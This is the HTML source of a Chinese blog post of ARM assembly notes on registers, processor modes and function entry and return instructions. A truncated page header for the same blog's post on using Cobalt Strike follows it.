<meta property="og:url" content="https://xiaoeeyu.github.io/2021/05/24/ARM%E6%B1%87%E7%BC%96%E7%AC%94%E8%AE%B0/index.html">
<meta property="og:site_name" content="xiaoeryu">
<meta property="og:description" content="ARM汇编的一些知识寄存器数量ARM处理器一共有37个32位寄存器。30个为“通用“寄存器: r0-r14未分组:r0-r7,即只有一个寄存器分 组:r8-r14,即有多个同名寄存器r8-r12 :两个r13-r14:6个 r13(sp),R14(lr)1个固定的程序计数器 : pc (又称r15)6个为状态寄存器 : cpsr spsr不能被同时访问,一种模式下最多同时访问18个寄存器">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/ARM%E6%B1%87%E7%BC%96%E7%AC%94%E8%AE%B0/dec5072d-4029-4f77-ba02-4db3edea2f3a.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/ARM%E6%B1%87%E7%BC%96%E7%AC%94%E8%AE%B0/976cd38d-47ac-4158-b029-2d8df50def19.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/ARM%E6%B1%87%E7%BC%96%E7%AC%94%E8%AE%B0/06750ce2-c439-4dc2-97f1-676ed097cef4.png">
<meta property="article:published_time" content="2021-05-24T08:20:34.000Z">
<meta property="article:modified_time" content="2023-10-04T03:06:07.661Z">
<meta property="article:author" content="xiaoeryu">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xiaoeeyu.github.io/2021/05/24/ARM%E6%B1%87%E7%BC%96%E7%AC%94%E8%AE%B0/dec5072d-4029-4f77-ba02-4db3edea2f3a.png">
<!--- Icon Part-->
<link rel="icon" type="image/png" href="/images/rabete.jpg" sizes="192x192">
<link rel="apple-touch-icon" sizes="180x180" href="/images/rabete.jpg">
<meta name="theme-color" content="#A31F34">
<link rel="shortcut icon" href="/images/rabete.jpg">
<!--- Page Info-->
<title>
ARM汇编笔记 | xiaoeryu
</title>
<link rel="stylesheet" href="/fonts/Chillax/chillax.css">
<!--- Inject Part-->
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/build/tailwind.css">
<link rel="stylesheet" href="/fonts/GeistMono/geist-mono.css">
<link rel="stylesheet" href="/fonts/Geist/geist.css">
<!--- Font Part-->
<script id="hexo-configurations">
window.config = {"hostname":"xiaoeeyu.github.io","root":"/","language":"zh-CN","path":"search.xml"};
window.theme = {"articles":{"style":{"font_size":"16px","line_height":1.5,"image_border_radius":"14px","image_alignment":"center","image_caption":false,"link_icon":true,"delete_mask":false,"title_alignment":"left","headings_top_spacing":{"h1":"3.2rem","h2":"2.4rem","h3":"1.9rem","h4":"1.6rem","h5":"1.4rem","h6":"1.3rem"}},"word_count":{"enable":true,"count":true,"min2read":true},"author_label":{"enable":true,"auto":false,"list":[]},"code_block":{"copy":true,"style":"mac","highlight_theme":{"light":"github","dark":"vs2015"},"font":{"enable":false,"family":null,"url":null}},"toc":{"enable":true,"max_depth":4,"number":false,"expand":true,"init_open":true},"copyright":{"enable":true,"default":"cc_by_nc_sa"},"lazyload":true,"pangu_js":false,"recommendation":{"enable":false,"title":"推荐阅读","limit":3,"mobile_limit":2,"placeholder":"/images/ball-0101.jpg","skip_dirs":[]}},"colors":{"primary":"#A31F34","secondary":null,"default_mode":"light"},"global":{"fonts":{"chinese":{"enable":false,"family":null,"url":null},"english":{"enable":false,"family":null,"url":null},"title":{"enable":false,"family":null,"url":null}},"content_max_width":"1000px","sidebar_width":"210px","hover":{"shadow":true,"scale":false},"scroll_progress":{"bar":false,"percentage":true},"website_counter":{"url":"https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js","enable":true,"site_pv":true,"site_uv":true,"post_pv":true},"single_page":true,"preloader":{"enable":false,"custom_message":null},"open_graph":true,"google_analytics":{"enable":false,"id":null}},"home_banner":{"enable":true,"style":"fixed","image":{"light":"/images/wallhaven-jxl31y.png","dark":"/images/wallhaven-o5762l.png"},"title":"XIAOERYU","subtitle":{"text":["明心见性,拨云见日","Don't wait, to create"],"hitokoto":{"enable":false,"show_author":false,"api":"https://v1.hitokoto.cn"},"typing_speed":100,"backing_speed":80,"starting_delay":500,"backing_delay":1500,"loop":true,"smart_backspace":true},"text_color":{"light":"#fff","dark":"#d1d1b6"},"text_style":{"title_size":"2.8rem","subtitle_size":"1.5rem","line_height":1.2},"custom_font":{"enable":false,"family":null,"url":null},"social_links":{"enable":true,"style":"default","links":{"github":"https://github.com/xiaoeeyu","instagram":null,"zhihu":null,"twitter":null,"email":"xiaoeryu@163.com"},"qrs":{"weixin":null}}},"plugins":{"feed":{"enable":false},"aplayer":{"enable":false,"type":"fixed","audios":[{"name":null,"artist":null,"url":null,"cover":null,"lrc":null}]},"mermaid":{"enable":false,"version":"9.3.0"}},"version":"2.8.2","navbar":{"auto_hide":false,"color":{"left":"#f78736","right":"#367df7","transparency":35},"width":{"home":"1200px","pages":"1000px"},"links":{"Home":{"path":"/","icon":"fa-regular fa-house"},"Archives":{"path":"/archives","icon":"fa-regular fa-archive"}},"search":{"enable":true,"preload":true}},"page_templates":{"friends_column":2,"tags_style":"blur"},"home":{"sidebar":{"enable":true,"position":"left","first_item":"menu","announcement":null,"show_on_mobile":true,"links":null},"article_date_format":"auto","excerpt_length":200,"categories":{"enable":true,"limit":3},"tags":{"enable":true,"limit":3}},"footerStart":"2022/8/17 11:45:14"};
window.lang_ago = {"second":"%s 秒前","minute":"%s 分钟前","hour":"%s 小时前","day":"%s 天前","week":"%s 周前","month":"%s 个月前","year":"%s 年前"};
window.data = {"masonry":false};
</script>
<!--- Fontawesome Part-->
<link rel="stylesheet" href="/fontawesome/fontawesome.min.css">
<link rel="stylesheet" href="/fontawesome/brands.min.css">
<link rel="stylesheet" href="/fontawesome/solid.min.css">
<link rel="stylesheet" href="/fontawesome/regular.min.css">
<meta name="generator" content="Hexo 6.3.0">
<style>.github-emoji { position: relative; display: inline-block; width: 1.2em; min-height: 1.2em; overflow: hidden; vertical-align: top; color: transparent; } .github-emoji > span { position: relative; z-index: 10; } .github-emoji img, .github-emoji .fancybox { margin: 0 !important; padding: 0 !important; border: none !important; outline: none !important; text-decoration: none !important; user-select: none !important; cursor: auto !important; } .github-emoji img { height: 1.2em !important; width: 1.2em !important; position: absolute !important; left: 50% !important; top: 50% !important; transform: translate(-50%, -50%) !important; user-select: none !important; cursor: auto !important; } .github-emoji-fallback { color: inherit; } .github-emoji-fallback img { opacity: 0 !important; }</style>
</head>
<body>
<div class="progress-bar-container">
<span class="pjax-progress-bar"></span>
<!-- <span class="swup-progress-icon">-->
<!-- <i class="fa-solid fa-circle-notch fa-spin"></i>-->
<!-- </span>-->
</div>
<main class="page-container" id="swup">
<div class="main-content-container flex flex-col justify-between min-h-dvh">
<div class="main-content-header">
<header class="navbar-container px-6 md:px-12">
<div class="navbar-content transition-navbar ">
<div class="left">
<a class="logo-image h-8 w-8 sm:w-10 sm:h-10 mr-3" href="/">
<img src="/images/rabete.jpg" class="w-full h-full rounded-sm">
</a>
<a class="logo-title" href="/">
xiaoeryu
</a>
</div>
<div class="right">
<!-- PC -->
<div class="desktop">
<ul class="navbar-list">
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/"
>
<i class="fa-regular fa-house fa-fw"></i>
首页
</a>
<!-- Submenu -->
</li>
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/archives"
>
<i class="fa-regular fa-archive fa-fw"></i>
归档
</a>
<!-- Submenu -->
</li>
<li class="navbar-item search search-popup-trigger">
<i class="fa-solid fa-magnifying-glass"></i>
</li>
</ul>
</div>
<!-- Mobile -->
<div class="mobile">
<div class="icon-item search search-popup-trigger"><i class="fa-solid fa-magnifying-glass"></i>
</div>
<div class="icon-item navbar-bar">
<div class="navbar-bar-middle"></div>
</div>
</div>
</div>
</div>
<!-- Mobile sheet -->
<div class="navbar-drawer h-dvh w-full absolute top-0 left-0 bg-background-color flex flex-col justify-between">
<ul class="drawer-navbar-list flex flex-col px-4 justify-center items-start">
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/"
>
<span>
首页
</span>
<i class="fa-regular fa-house fa-sm fa-fw"></i>
</a>
</li>
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/archives"
>
<span>
归档
</span>
<i class="fa-regular fa-archive fa-sm fa-fw"></i>
</a>
</li>
</ul>
<div class="statistics flex justify-around my-2.5">
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/tags">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">92</div>
<div class="label text-third-text-color text-sm">标签</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/categories">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">14</div>
<div class="label text-third-text-color text-sm">分类</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/archives">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">112</div>
<div class="label text-third-text-color text-sm">文章</div>
</a>
</div>
</div>
<div class="window-mask"></div>
</header>
</div>
<div class="main-content-body transition-fade-up">
<div class="main-content">
<div class="post-page-container flex relative justify-between box-border w-full h-full">
<div class="article-content-container">
<div class="article-title relative w-full">
<div class="w-full flex items-center pt-6 justify-start">
<h1 class="article-title-regular text-second-text-color tracking-tight text-4xl md:text-6xl font-semibold px-2 sm:px-6 md:px-8 py-3">ARM汇编笔记</h1>
</div>
</div>
<div class="article-header flex flex-row gap-2 items-center px-2 sm:px-6 md:px-8">
<div class="avatar w-[46px] h-[46px] flex-shrink-0 rounded-medium border border-border-color p-[1px]">
<img src="/images/rabete.jpg">
</div>
<div class="info flex flex-col justify-between">
<div class="author flex items-center">
<span class="name text-default-text-color text-lg font-semibold">xiaoeryu</span>
<span class="author-label ml-1.5 text-xs px-2 py-0.5 rounded-small text-third-text-color border border-shadow-color-1">Lv5</span>
</div>
<div class="meta-info">
<div class="article-meta-info">
<span class="article-date article-meta-item">
<i class="fa-regular fa-pen-fancy"></i>
<span class="desktop">2021-05-24 16:20:34</span>
<span class="mobile">2021-05-24 16:20:34</span>
<span class="hover-info">创建</span>
</span>
<span class="article-date article-meta-item">
<i class="fa-regular fa-wrench"></i>
<span class="desktop">2023-10-04 11:06:07</span>
<span class="mobile">2023-10-04 11:06:07</span>
<span class="hover-info">更新</span>
</span>
<span class="article-categories article-meta-item">
<i class="fa-regular fa-folders"></i>
<ul>
<li>
<a href="/categories/ARM%E6%B1%87%E7%BC%96/">ARM汇编</a>
</li>
</ul>
</span>
<span class="article-pv article-meta-item">
<i class="fa-regular fa-eye"></i> <span id="busuanzi_value_page_pv"></span>
</span>
</div>
</div>
</div>
</div>
<div class="article-content markdown-body px-2 sm:px-6 md:px-8 pb-8">
<h2 id="ARM汇编的一些知识"><a href="#ARM汇编的一些知识" class="headerlink" title="ARM汇编的一些知识"></a>ARM汇编的一些知识</h2><h3 id="寄存器数量"><a href="#寄存器数量" class="headerlink" title="寄存器数量"></a>寄存器数量</h3><p>ARM处理器一共有37个32位寄存器。<br>30个为“通用“寄存器: r0-r14<br>未分组:r0-r7,即只有一个寄存器<br>分 组:r8-r14,即有多个同名寄存器<br>r8-r12 :两个<br>r13-r14:6个 r13(sp),R14(lr)<br>1个固定的程序计数器 : pc (又称r15)<br>6个为状态寄存器 : cpsr spsr<br>不能被同时访问,一种模式下最多同时访问18个寄存器</p>
<span id="more"></span>
<h3 id="不同模式下访问的寄存器"><a href="#不同模式下访问的寄存器" class="headerlink" title="不同模式下访问的寄存器"></a>不同模式下访问的寄存器</h3><img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/ARM%E6%B1%87%E7%BC%96%E7%AC%94%E8%AE%B0/dec5072d-4029-4f77-ba02-4db3edea2f3a.png" class="" title="img">
<h3 id="寄存器用途"><a href="#寄存器用途" class="headerlink" title="寄存器用途"></a>寄存器用途</h3><p>sp(r13) - 堆栈指针<br>lr(r14) - 连接寄存器<br>调用子程序时存放调用地址,存放返回地址<br>pc(r15) - 程序计数器,相当于windows的EIP<br>(1)跳转到指定地址<br>mov pc,lr// 直接修改pc ,完成跳转<br>bx lr // 跳转到 lr保存的地址</p>
<p>(2)在函数入口保存寄存器信息<br>stmfd sp!, {r11,lr} // 保存大括号中的寄存器到栈中,从右往左</p>
<p>(3)使用ldm指令修改pc,完成函数返回<br>ldmfd sp!, {r11,pc} // 将栈中数据依次加载到寄存器中,从左往右</p>
<p>cpsr – 当前程序状态寄存器<br>spsr–备份的程序状态寄存器</p>
<h3 id="条件执行后缀"><a href="#条件执行后缀" class="headerlink" title="条件执行后缀"></a>条件执行后缀</h3><img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/ARM%E6%B1%87%E7%BC%96%E7%AC%94%E8%AE%B0/976cd38d-47ac-4158-b029-2d8df50def19.png" class="" title="img">
<h3 id="ARM的指令流水线"><a href="#ARM的指令流水线" class="headerlink" title="ARM的指令流水线"></a>ARM的指令流水线</h3><img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/ARM%E6%B1%87%E7%BC%96%E7%AC%94%E8%AE%B0/06750ce2-c439-4dc2-97f1-676ed097cef4.png" class="" title="img">
</div>
<div class="post-copyright-info w-full my-8 px-2 sm:px-6 md:px-8">
<div class="article-copyright-info-container">
<ul>
<li><strong>标题:</strong> ARM汇编笔记</li>
<li><strong>作者:</strong> xiaoeryu</li>
<li><strong>创建于
:</strong> 2021-05-24 16:20:34</li>
<li>
<strong>更新于
:</strong> 2023-10-04 11:06:07
</li>
<li>
<strong>链接:</strong> https://github.com/xiaoeryu/2021/05/24/ARM汇编笔记/
</li>
<li>
<strong>
版权声明:
</strong>
本文章采用 <a class="license" target="_blank" rel="noopener" href="https://creativecommons.org/licenses/by-nc-sa/4.0">CC BY-NC-SA 4.0</a> 进行许可。
</li>
</ul>
</div>
</div>
<div class="article-nav my-8 flex justify-between items-center px-2 sm:px-6 md:px-8">
<div class="article-prev border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="prev" rel="prev" href="/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/">
<span class="left arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-left"></i>
</span>
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">Cobalt Strike使用(一)</span>
<span class="post-nav-item">上一篇</span>
</span>
</a>
</div>
<div class="article-next border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="next" rel="next" href="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/">
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">Ocean Lotus样本分析</span>
<span class="post-nav-item">下一篇</span>
</span>
<span class="right arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-right"></i>
</span>
</a>
</div>
</div>
<div class="comment-container px-2 sm:px-6 md:px-8 pb-8">
<div class="comments-container mt-10 w-full ">
<div id="comment-anchor" class="w-full h-2.5"></div>
<div class="comment-area-title w-full my-1.5 md:my-2.5 text-xl md:text-3xl font-bold">
评论
</div>
</div>
</div>
</div>
<div class="toc-content-container">
<div class="post-toc-wrap">
<div class="post-toc">
<div class="toc-title">目录</div>
<div class="page-title">ARM汇编笔记</div>
<ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#ARM%E6%B1%87%E7%BC%96%E7%9A%84%E4%B8%80%E4%BA%9B%E7%9F%A5%E8%AF%86"><span class="nav-text">ARM汇编的一些知识</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%AF%84%E5%AD%98%E5%99%A8%E6%95%B0%E9%87%8F"><span class="nav-text">寄存器数量</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E4%B8%8D%E5%90%8C%E6%A8%A1%E5%BC%8F%E4%B8%8B%E8%AE%BF%E9%97%AE%E7%9A%84%E5%AF%84%E5%AD%98%E5%99%A8"><span class="nav-text">不同模式下访问的寄存器</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%AF%84%E5%AD%98%E5%99%A8%E7%94%A8%E9%80%94"><span class="nav-text">寄存器用途</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%9D%A1%E4%BB%B6%E6%89%A7%E8%A1%8C%E5%90%8E%E7%BC%80"><span class="nav-text">条件执行后缀</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#ARM%E7%9A%84%E6%8C%87%E4%BB%A4%E6%B5%81%E6%B0%B4%E7%BA%BF"><span class="nav-text">ARM的指令流水线</span></a></li></ol></li></ol>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="main-content-footer">
<footer class="footer mt-5 py-5 h-auto text-base text-third-text-color relative border-t-2 border-t-border-color">
<div class="info-container py-3 text-center">
<div class="text-center">
©
<span>2022</span>
-
2025 <i class="fa-solid fa-heart fa-beat" style="--fa-animation-duration: 0.5s; color: #f54545"></i> <a href="/">xiaoeryu</a>
<p class="post-count space-x-0.5">
<span>
共撰写了 112 篇文章
</span>
</p>
</div>
<script data-swup-reload-script src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<div class="relative text-center lg:absolute lg:right-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-right">
<span id="busuanzi_container_site_uv" class="lg:!block">
<span class="text-sm">访问人数</span>
<span id="busuanzi_value_site_uv"></span>
</span>
<span id="busuanzi_container_site_pv" class="lg:!block">
<span class="text-sm">总访问量</span>
<span id="busuanzi_value_site_pv"></span>
</span>
</div>
<div class="relative text-center lg:absolute lg:left-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-left">
<span class="lg:block text-sm">由 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg class="relative top-[2px] inline-block align-baseline" version="1.1" id="圖層_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1rem" height="1rem" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve"><path fill="#0E83CD" d="M256.4,25.8l-200,115.5L56,371.5l199.6,114.7l200-115.5l0.4-230.2L256.4,25.8z M349,354.6l-18.4,10.7l-18.6-11V275H200v79.6l-18.4,10.7l-18.6-11v-197l18.5-10.6l18.5,10.8V237h112v-79.6l18.5-10.6l18.5,10.8V354.6z"/></svg><a target="_blank" class="text-base" href="https://hexo.io">Hexo</a> 驱动</span>
<span class="text-sm lg:block">主题 <a class="text-base" target="_blank" href="https://github.com/EvanNotFound/hexo-theme-redefine">Redefine v2.8.2</a></span>
</div>
<div>
博客已运行 <span class="odometer" id="runtime_days" ></span> 天 <span class="odometer" id="runtime_hours"></span> 小时 <span class="odometer" id="runtime_minutes"></span> 分钟 <span class="odometer" id="runtime_seconds"></span> 秒
</div>
<script data-swup-reload-script>
try {
function odometer_init() {
const elements = document.querySelectorAll('.odometer');
elements.forEach(el => {
new Odometer({
el,
format: '( ddd).dd',
duration: 200
});
});
}
odometer_init();
} catch (error) {}
</script>
</div>
</footer>
</div>
</div>
<div class="post-tools">
<div class="post-tools-container">
<ul class="article-tools-list">
<!-- TOC aside toggle -->
<li class="right-bottom-tools page-aside-toggle">
<i class="fa-regular fa-outdent"></i>
</li>
<!-- go comment -->
<li class="go-comment">
<i class="fa-regular fa-comments"></i>
</li>
</ul>
</div>
</div>
<div class="right-side-tools-container">
<div class="side-tools-container">
<ul class="hidden-tools-list">
<li class="right-bottom-tools tool-font-adjust-plus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-plus"></i>
</li>
<li class="right-bottom-tools tool-font-adjust-minus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-minus"></i>
</li>
<li class="right-bottom-tools tool-dark-light-toggle flex justify-center items-center">
<i class="fa-regular fa-moon"></i>
</li>
<!-- rss -->
<li class="right-bottom-tools tool-scroll-to-bottom flex justify-center items-center">
<i class="fa-regular fa-arrow-down"></i>
</li>
</ul>
<ul class="visible-tools-list">
<li class="right-bottom-tools toggle-tools-list flex justify-center items-center">
<i class="fa-regular fa-cog fa-spin"></i>
</li>
<li class="right-bottom-tools tool-scroll-to-top flex justify-center items-center">
<i class="arrow-up fas fa-arrow-up"></i>
<span class="percent"></span>
</li>
</ul>
</div>
</div>
<div class="image-viewer-container">
<img src="">
</div>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-input-field-pre">
<i class="fa-solid fa-keyboard"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocorrect="off" autocapitalize="off" placeholder="站内搜索您需要的内容..." spellcheck="false" type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa-solid fa-times"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa-solid fa-spinner fa-spin-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</main>
<script src="/js/build/libs/Swup.min.js"></script>
<script src="/js/build/libs/SwupSlideTheme.min.js"></script>
<script src="/js/build/libs/SwupScriptsPlugin.min.js"></script>
<script src="/js/build/libs/SwupProgressPlugin.min.js"></script>
<script src="/js/build/libs/SwupScrollPlugin.min.js"></script>
<script src="/js/build/libs/SwupPreloadPlugin.min.js"></script>
<script>
const swup = new Swup({
plugins: [
new SwupScriptsPlugin({
optin: true,
}),
new SwupProgressPlugin(),
new SwupScrollPlugin({
offset: 80,
}),
new SwupSlideTheme({
mainElement: ".main-content-body",
}),
new SwupPreloadPlugin(),
],
containers: ["#swup"],
});
</script>
<script src="/js/build/tools/imageViewer.js" type="module"></script>
<script src="/js/build/utils.js" type="module"></script>
<script src="/js/build/main.js" type="module"></script>
<script src="/js/build/layouts/navbarShrink.js" type="module"></script>
<script src="/js/build/tools/scrollTopBottom.js" type="module"></script>
<script src="/js/build/tools/lightDarkSwitch.js" type="module"></script>
<script src="/js/build/layouts/categoryList.js" type="module"></script>
<script src="/js/build/tools/localSearch.js" type="module"></script>
<script src="/js/build/tools/codeBlock.js" type="module"></script>
<script src="/js/build/layouts/lazyload.js" type="module"></script>
<script src="/js/build/tools/runtime.js"></script>
<script src="/js/build/libs/odometer.min.js"></script>
<link rel="stylesheet" href="/assets/odometer-theme-minimal.css">
<script src="/js/build/libs/Typed.min.js"></script>
<script src="/js/build/plugins/typed.js" type="module"></script>
<script src="/js/build/libs/anime.min.js"></script>
<script src="/js/build/tools/tocToggle.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/layouts/toc.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/plugins/tabs.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/libs/moment-with-locales.min.js" data-swup-reload-script=""></script>
<script src="/js/build/layouts/essays.js" type="module" data-swup-reload-script=""></script>
</body>
</html> | Zayn-Liu/hexo | 2021/05/24/ARM汇编笔记/index.html | HTML | unknown | 31,485 |
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="keywords" content="Hexo Theme Redefine">
<meta name="author" content="xiaoeryu">
<!-- preconnect -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<!--- Seo Part-->
<link rel="canonical" href="https://xiaoeeyu.github.io/2021/05/24/cobalt-strike使用(一)/"/>
<meta name="robots" content="index,follow">
<meta name="googlebot" content="index,follow">
<meta name="revisit-after" content="1 days">
<meta name="description" content="基本使用简介: Cobalt Strike作为一款GUI的框架式渗透工具,集成了端口转发、服务扫描、自动化溢出、多模式端口监听、exe\dll\java木马生成、office宏病毒生成、木马捆绑;钓鱼攻击包括:站点克隆、目标信息获取、java执行、浏览器自动攻击等等。">
<meta property="og:type" content="article">
<meta property="og:title" content="Cobalt Strike使用(一)">
<meta property="og:url" content="https://xiaoeeyu.github.io/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/index.html">
<meta property="og:site_name" content="xiaoeryu">
<meta property="og:description" content="基本使用简介: Cobalt Strike作为一款GUI的框架式渗透工具,集成了端口转发、服务扫描、自动化溢出、多模式端口监听、exe\dll\java木马生成、office宏病毒生成、木马捆绑;钓鱼攻击包括:站点克隆、目标信息获取、java执行、浏览器自动攻击等等。">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/image-20210524214346922.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/image-20210524214809083.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/image-20210525144617108.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/image-20210525150508853.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/image-20210525151153511.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/image-20210525151352591.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/image-20210525152525524.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/image-20210525152627340.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/image-20210525154736503.png">
<meta property="article:published_time" content="2021-05-24T09:55:48.000Z">
<meta property="article:modified_time" content="2021-05-26T09:32:31.722Z">
<meta property="article:author" content="xiaoeryu">
<meta property="article:tag" content="-Cobalt Strike">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xiaoeeyu.github.io/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/image-20210524214346922.png">
<!--- Icon Part-->
<link rel="icon" type="image/png" href="/images/rabete.jpg" sizes="192x192">
<link rel="apple-touch-icon" sizes="180x180" href="/images/rabete.jpg">
<meta name="theme-color" content="#A31F34">
<link rel="shortcut icon" href="/images/rabete.jpg">
<!--- Page Info-->
<title>
Cobalt Strike使用(一) | xiaoeryu
</title>
<link rel="stylesheet" href="/fonts/Chillax/chillax.css">
<!--- Inject Part-->
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/build/tailwind.css">
<link rel="stylesheet" href="/fonts/GeistMono/geist-mono.css">
<link rel="stylesheet" href="/fonts/Geist/geist.css">
<!--- Font Part-->
<script id="hexo-configurations">
window.config = {"hostname":"xiaoeeyu.github.io","root":"/","language":"zh-CN","path":"search.xml"};
window.theme = {"articles":{"style":{"font_size":"16px","line_height":1.5,"image_border_radius":"14px","image_alignment":"center","image_caption":false,"link_icon":true,"delete_mask":false,"title_alignment":"left","headings_top_spacing":{"h1":"3.2rem","h2":"2.4rem","h3":"1.9rem","h4":"1.6rem","h5":"1.4rem","h6":"1.3rem"}},"word_count":{"enable":true,"count":true,"min2read":true},"author_label":{"enable":true,"auto":false,"list":[]},"code_block":{"copy":true,"style":"mac","highlight_theme":{"light":"github","dark":"vs2015"},"font":{"enable":false,"family":null,"url":null}},"toc":{"enable":true,"max_depth":4,"number":false,"expand":true,"init_open":true},"copyright":{"enable":true,"default":"cc_by_nc_sa"},"lazyload":true,"pangu_js":false,"recommendation":{"enable":false,"title":"推荐阅读","limit":3,"mobile_limit":2,"placeholder":"/images/ball-0101.jpg","skip_dirs":[]}},"colors":{"primary":"#A31F34","secondary":null,"default_mode":"light"},"global":{"fonts":{"chinese":{"enable":false,"family":null,"url":null},"english":{"enable":false,"family":null,"url":null},"title":{"enable":false,"family":null,"url":null}},"content_max_width":"1000px","sidebar_width":"210px","hover":{"shadow":true,"scale":false},"scroll_progress":{"bar":false,"percentage":true},"website_counter":{"url":"https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js","enable":true,"site_pv":true,"site_uv":true,"post_pv":true},"single_page":true,"preloader":{"enable":false,"custom_message":null},"open_graph":true,"google_analytics":{"enable":false,"id":null}},"home_banner":{"enable":true,"style":"fixed","image":{"light":"/images/wallhaven-jxl31y.png","dark":"/images/wallhaven-o5762l.png"},"title":"XIAOERYU","subtitle":{"text":["明心见性,拨云见日","Don't wait, to 